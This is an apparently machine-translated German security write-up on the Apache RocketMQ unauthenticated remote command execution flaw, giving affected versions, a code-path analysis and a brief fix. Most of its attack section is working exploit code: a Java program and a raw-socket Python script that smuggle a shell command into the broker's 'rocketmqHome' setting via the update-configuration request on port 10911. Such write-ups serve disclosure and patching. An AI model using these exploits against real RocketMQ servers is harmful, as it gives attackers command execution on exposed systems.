Schwachstellenprofil
Bei RocketMQ 5.1.0 und niedriger besteht unter bestimmten Bedingungen das Risiko der Remote-Befehlsausführung. NameServer, Broker, Controller und andere Komponenten von RocketMQ wurden aus dem externen Netzwerk durchgesickert und es fehlte die Berechtigungsüberprüfung. Angreifer können diese Schwachstelle ausnutzen, um die Update-Konfigurationsfunktion zu nutzen, um Befehle als Systembenutzer auszuführen, der RocketMQ ausführt. Darüber hinaus können Angreifer den gleichen Effekt erzielen, indem sie den Inhalt des RocketMQ-Protokolls fälschen.
Betroffene Version
5.0.0 <= Apache RocketMQ < 5.1.1
4.0.0 <= Apache RocketMQ < 4.9.6
Sicherheitsversion
Apache RocketMQ 5.1.1
Apache RocketMQ 4.9.6
Wiederauftreten der Sicherheitslücke
Erstellen Sie lokal ein Maven-Projekt und fügen Sie Abhängigkeiten hinzu
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
<dependency>
<groupId>org.apache.rocketmq</groupId>
<artifactId>rocketmq-tools</artifactId>
<version>5.1.0</version>
</dependency>
</dependencies>
Exploit-Code schreiben
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
import java.util.Properties;
public class poc1 {
public static void main(String[] args) throws Exception {
// 创建 Properties 对象
Properties props = new Properties();
//修改rocketmqHome配置
props.setProperty("rocketmqHome","-c gnome-calculator test");
props.setProperty("filterServerNums","1");
// 创建 DefaultMQAdminExt 对象并启动
DefaultMQAdminExt admin = new DefaultMQAdminExt();
//此处为 namesrv 端口,此端口无需可访问
admin.setNamesrvAddr("192.168.222.130:9876");
admin.start();
// 更新配置⽂件
//此处为 broker 端口,必须可访问
admin.updateBrokerConfig("192.168.222.130:10911", props);
// 关闭 DefaultMQAdminExt 对象
admin.shutdown();
}
}
Schwachstellenanalyse
Wir sehen, dass der wirklich gefährliche Vorgang darin bestehen sollte, mit 10911 zu kommunizieren, ohne Authentifizierung und verschlüsselte Übertragung, und gleichzeitig Parameter für die Befehlsausführung einzuführen
org/apache/rocketmq/remoting/protocol/RequestCode.java
Code stellt Aufrufe verschiedener Funktionen dar
org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest
org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig
org/apache/rocketmq/remoting/Configuration.java#update
Wenn es sich bei dem Attributnamen um einen integrierten Attributnamen handelt, aktualisieren Sie den Vorgang
Der letzte Teil ist klarer
org/apache/rocketmq/broker/BrokerStartup.java#start
org/apache/rocketmq/broker/BrokerController.java#start
org/apache/rocketmq/broker/BrokerController.java#startBasicService
org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start
import socket
import binascii
client = socket.socket()
# you ip
client.connect(('192.168.222.130',10911))
# data
json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nrocketmqHome=-c gnome-calculator test'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:] # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens) # 总长度要 加上 head1[-8:] 的值
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # 协议总长度+json长度+json+body
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
Fehlerbehebung
Module zur Befehlsausführung werden entfernt
Ausschreibung von Originalmanuskripten
Fordern Sie originelle technische Artikel an, gerne posten
E-Mail-Adresse für die Einreichung: [email protected]
Artikeltyp: Hacker-Geek-Technologie, Informationssicherheits-Hotspots, Sicherheitsforschung und -analyse usw.
Wenn Sie die Bewertung bestehen und veröffentlichen, können Sie eine Vergütung zwischen 200 und 800 Yuan erhalten.
Für weitere Details klicken Sie auf mich, um es anzuzeigen!
Schießstandübungen, klicken Sie auf „Originaltext lesen“